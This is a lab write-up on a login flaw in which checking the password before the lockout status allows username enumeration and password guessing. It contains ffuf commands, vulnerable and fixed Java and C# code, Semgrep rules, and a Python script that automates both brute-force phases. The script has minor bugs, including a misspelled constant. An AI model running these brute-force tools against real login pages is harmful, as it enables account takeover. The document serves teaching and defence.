Lab 05: Username enumeration via account lock
1. Executive Summary
Vulnerability: Information Disclosure via Account Lock Logic.
Description: The application implements account locking to prevent brute-forcing. However, the system verifies the password before checking if the account is locked. Additionally, the account locking mechanism reveals which usernames are valid because only valid users get “locked out” after multiple failures; invalid users just keep getting “Invalid username”.
Impact:
Username Enumeration: Attackers can identify valid usernames by spamming login attempts and seeing which ones eventually trigger an error other than “Invalid username or password.”.
Password Brute-Force: Once a target is identified and locked, the attacker can continue guessing passwords. Due to the
order-of-operations flaw, a correct password triggers a slightly different response (or error message) than an incorrect one, even while the account is locked.
2. The Attack
Objective: Identify the valid username by triggering a lock, then find the correct password by analyzing response discrepancies.
- Enumeration (Triggering the Lock):
- To find the valid username, I needed to simulate a brute-force attack on every candidate username. Valid users will eventually get locked out; invalid users will not.
- I used
ffufinclusterbombmode. I needed to send multiple requests per username, so I used a small list of 5 dummy passwords against the username list. Command:Bash
1 2 3 4 5 6 7 8
ffuf -mode clusterbomb \ -X POST \ -w dummy_passwords.txt:FUZZ \ -w usernames.txt:FUZ2Z \ -u "https://LAB-ID.web-security-academy.net/login" \ -d 'username=FUZ2Z&password=FUZZ' \ -fr "Invalid username or password." \ -t 20
Result: The username
anaheimeventually started returning a response that contained “You have made too many incorrect login attempts” (or similar), while others continued returning “Invalid username”.
- Brute-Force (The Logic Flaw):
- Now that
anaheimis locked, standard logic dictates I should wait. However, because of the flaw, I can keep attacking. - I ran a brute-force attack against
anaheimusing the password list. The Logic: If the password is wrong, the server replies “Invalid username or password” (or a generic lock message). If the password is correct, the server calculates the hash, sees it matches, then checks the lock, and returns a specific “Account Locked” error (or a response with a different size).
Command:Bash
1 2 3 4
ffuf -X POST -w passwords.txt:FUZZ \ -u https://LAB-ID.web-security-academy.net/login \ -d 'username=anaheim&password=FUZZ' \ -t 10 -fs 3184,3132
Result: Most requests returned the standard error size. One specific password returned a different response size. This was the valid password.
- Now that
3. Code Review
Vulnerability Analysis (Explanation): The code performs the expensive and sensitive operation (Password Validation) before the cheap and blocking operation (Lock Check).
- The Flaw:
validatePassword()runs first. If successful, the code proceeds to checkisLocked(). - The Leak: This creates two distinct error states while locked:
- Wrong Password: Fails at step 1. Returns “Invalid Credentials”.
- Right Password: Passes step 1, Fails at step 2. Returns “Account Locked”.
- Even if the message is the same, the timing or response size often differs.
Java (Spring Boot)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@PostMapping("/login")
public String login(@RequestParam String username, @RequestParam String password, Model model) {
User user = userRepository.findByUsername(username);
if (user == null) return "error";
// VULNERABLE: Checking Password FIRST
if (passwordEncoder.matches(password, user.getPassword())) {
// Check Lock AFTER verifying credentials
if (user.isAccountNonLocked()) {
return "redirect:/dashboard";
} else {
// Leak: We only reach here if the password was CORRECT.
model.addAttribute("error", "You have made too many incorrect login attempts. Please try again in 1 minute(s).");
return "login";
}
}
// Wrong Password logic
user.incrementFailedAttempts();
model.addAttribute("error", "Invalid username or password.");
return "login";
}
Technical Flow & Syntax Explanation:
passwordEncoder.matches(...): This verifies the credentials.- The Branch: If the password is wrong, the code jumps to the bottom block. If the password is right, it enters the
ifblock. - The Reveal: The attacker sends a password. If they get “Invalid username”, they know it’s wrong. If they get “You have made too many incorrect login attempts…”, they know the password was right, even though they can’t log in yet.
C# (ASP.NET Core)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[HttpPost("login")]
public async Task<IActionResult> Login(LoginModel model)
{
var user = await _userManager.FindByNameAsync(model.Username);
if (user == null) return BadRequest("Invalid login");
// VULNERABLE: Check password match directly
if (await _userManager.CheckPasswordAsync(user, model.Password))
{
// Password is good. Now checking lock status.
if (await _userManager.IsLockedOutAsync(user))
{
// Leak: Reaching this line confirms the password is correct.
return BadRequest("You have made too many incorrect login attempts. Please try again in 1 minute(s).");
}
return Ok("Welcome");
}
// Wrong password
await _userManager.AccessFailedAsync(user);
return BadRequest("Invalid login");
}
Technical Flow & Syntax Explanation:
CheckPasswordAsync: Checks the hash.IsLockedOutAsync: Checks the database flag for a lock.- Logic Gap: By placing the lock check inside the success block of the password check, the developer inadvertently created an oracle.
Mock PR Comment
The login method currently verifies the password hash before checking if the user is locked out. This allows an attacker to identify the correct password for a locked account by observing the change in error message (from “Invalid login” to “Account locked”).
Recommendation: Always check isLockedOut() before attempting CheckPasswordAsync(). If the user is locked, reject the request immediately without processing the password.
4. The Fix
Explanation of the Fix: The fix is simple: Check the Lock First. If the user is locked, stop processing immediately. Do not verify the password. This ensures that valid and invalid passwords yield the exact same response (the “Locked” message) once the account is blocked.
Secure Java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@PostMapping("/login")
public String login(@RequestParam String username, @RequestParam String password) {
User user = userRepository.findByUsername(username);
// SECURE: Check Lock FIRST
if (user != null && !user.isAccountNonLocked()) {
// Return generic error or lock message regardless of password
return "error_page";
}
// Only verify password if account is active
if (user != null && passwordEncoder.matches(password, user.getPassword())) {
return "redirect:/dashboard";
}
return "error_page";
}
Technical Flow & Syntax Explanation:
- Early Exit: The
!user.isAccountNonLocked()check happens at the very top. - Uniformity: Whether the attacker sends “password123” (wrong) or “secret” (right), the code hits the first
ifblock and returns. The password verification logic is never reached.
Secure C#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public async Task<IActionResult> Login(LoginModel model)
{
var user = await _userManager.FindByNameAsync(model.Username);
// SECURE: Check Lockout status before password check
if (user != null && await _userManager.IsLockedOutAsync(user))
{
// Immediate rejection
return BadRequest("Invalid login attempt.");
}
// Now safe to check password
if (user != null && await _userManager.CheckPasswordAsync(user, model.Password))
{
return Ok();
}
return BadRequest("Invalid login attempt.");
}
5. Automation
A high-speed asyncio script that performs both phases: identifying the username by triggering the lock, and then exploiting the response difference to find the password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python3
import argparse
import asyncio
import aiohttp
import sys
# phase 1: we send this many bad passwords to trigger the lock
LOCT_ATTEMPTS = 5
BAD_PASS = "dummypass"
async def login_request(session, url, username, password):
data = {'username': username, 'password': password}
try:
async with session.post(url, data=data) as resp:
text = await resp.text()
return text, len(text)
except Exception as e:
return None, 0
async def exploit(url, userlist, passlist):
login_url = f"{url.rstrip('/')}/login"
with open(userlist, 'r') as f:
usernames = [line.strip() for line in f]
target_user = None
print(f"[*] Phase 1: Enumerating Username (Spamming {LOCK_ATTEMPTS} attempts)...")
async with aiohttp.ClientSession() as session:
for user in usernames:
tasks = [login_request(session, login_url, user, BAD_PASS) for _ in range(LOCK_ATTEMPTS)]
responses = await asyncio.gather(*tasks)
# Check the LAST response to see if it changed to "Locked"
last_body, last_len = responses[-1]
if "Invalid username" not in last_body:
print(f"[+] FOUND TARGET: {user}")
print(f"[*] Response changed. Assuming {user} is now locked.")
target_user = user
break
if not target_user:
print("[-] Failed to lock out any user. Check attempt count.")
sys.exit(1)
# 2. Brute Force against Locked Account
print(f"[*] Phase 2: Brute Forcing Password for {target_user}...")
with open(passlist, 'r') as f:
passwords = [line.strip() for line in f ]
# We need a baseline "Wrong Password" response size for the locked account
_, baseline_len = await(login_request(session, login_url, target_user, "wrongpassword"))
print(f"[*] Baseline 'Locked & Wrong' Length: {baseline_len}")
BATCH_SIZE = 10
for i in range(0, len(passwords), BATCH_SIZE):
batch = passwords[i : i + BATCH_SIZE]
tasks = [login_request(session, login_url, target_user, p) for p in batch]
results = await asyncio.gather(*tasks)
for (body, length), pwd in zip(results, batch):
# We look for ANY deviation from the baseline length
if length != baseline_len:
print(f"\n[!!!] PASSWORD FOUND: {pwd}")
print(f"[+] Response Length: {length} (Baseline: {baseline_len})")
return
print(f"\r[*] Checked {i+len(batch)}/{len(passwords)}...", end="")
print("\n[-] Password not found.")
def main():
ap = argparse.ArgumentParser()
ap.add_argument("url", help="Lab URL")
ap.add_argument("users", help="Username list")
ap.add_argument("passwords", help="Password list")
args = ap.parse_args()
asyncio.run(exploit(args.url, args.users, args.passwords))
if __name__ == "__main__":
main()
6. Static Analysis (Semgrep)
These rules detect the dangerous pattern of verifying a password before checking the account status.
Java Rule
1
2
3
4
5
6
7
8
9
10
11
12
13
14
rules:
- id: java-check-password-before-lock
languages: [java]
message: |
Password verification occurs before account lock check.
This logic flaw allows attackers to verify passwords on locked accounts.
Check 'isLocked()' or 'isEnabled()' before 'matches()'.
severity: WARNING
patterns:
- pattern: |
if ($ENCODER.matches($PASS, ...)) {
...
if ($USER.isLocked()) { ... }
}
Technical Flow & Syntax Explanation:
- Sequence Detection: The rule looks for the
matchescall (password check) acting as the outer condition, with theisLockedcheck nested inside it. This confirms the flawed order of operations.
C# Rule
1
2
3
4
5
6
7
8
9
10
11
rules:
- id: csharp-check-password-before-lock
languages: [csharp]
message: "Security Flaw: Password checked before Lockout status."
severity: WARNING
patterns:
- pattern: |
if (await $MANAGER.CheckPasswordAsync($USER, ...)) {
...
if (await $MANAGER.IsLockedOutAsync($USER)) { ... }
}
Technical Flow & Syntax Explanation:
CheckPasswordAsync: Identifies the ASP.NET Identity password validation.IsLockedOutAsync: Identifies the lock status check.- Nesting: Flags code where the lock check is unreachable unless the password is already correct.



